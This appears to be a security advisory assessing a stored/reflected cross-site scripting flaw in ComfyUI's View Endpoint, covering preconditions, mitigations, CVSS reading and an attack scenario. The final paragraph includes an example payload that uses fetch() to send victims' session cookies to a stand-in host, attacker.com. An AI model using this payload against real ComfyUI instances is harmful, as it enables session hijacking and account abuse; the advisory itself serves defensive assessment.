Comfyui EUVD-2026-23739

Exploitation requires: (1) Authenticated access to ComfyUI (PR:L) - the attacker or a collaborator must have a valid login account; (2) User interaction (UI:R) - the victim must click a link or view a page containing the malicious payload, either directly or by navigating to an attacker-controlled project or shared resource; (3) The View Endpoint must be enabled and accessible (typical default configuration); (4) The victim's browser must execute JavaScript (no special browser extensions or protections disabling scripts). Limiting factors: Network isolation of the ComfyUI server behind a firewall eliminates remote exploitation; running in single-user mode removes the multi-user attack vector; disabling JavaScript execution in the browser or sandboxing ComfyUI in a restricted browser context would block payload execution. Non-default configurations or security controls (e.g., Content Security Policy headers, if implemented) could mitigate the vulnerability even in authenticated scenarios.

Despite the low CVSS score of 3.5, this vulnerability carries moderate practical risk due to public exploit availability and authenticated access requirements. The CVSS vector reveals low-risk characteristics: AV:N (network-accessible) but PR:L (requires login), UI:R (requires user interaction), and limited scope (S:U, C:N, I:L, A:N). The E:P (exploit proof-of-concept exists) and RC:R (reproducible) modifiers confirm public weaponization. The real-world priority depends on deployment context: in multi-user ComfyUI instances (collaborative AI teams, cloud services), this poses moderate risk because authenticated users can execute scripts in other users' sessions; in single-user or air-gapped deployments, risk is minimal. The vendor's non-response to early disclosure is concerning and suggests no patched version may exist. This is NOT a critical vulnerability by raw metrics, but the public exploit combined with authenticated-only access creates a realistic escalation vector for lateral movement or privilege abuse in shared environments.

An authenticated ComfyUI user logs into a shared ComfyUI instance. The attacker crafts a malicious URL or parameter containing JavaScript code (e.g., by manipulating the View Endpoint with a payload like <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and shares it via social engineering or stores it in a project file. When another user (or the admin) views this page through the View Endpoint, their browser executes the attacker's JavaScript, exfiltrating their session cookie or performing unauthorized API calls in their name. The publicly available GitHub exploit (gist.github.com/YLChen-007/1d91fabb465284d7a974746f7e6cc5cc) provides a ready-made payload, lowering the barrier to exploitation.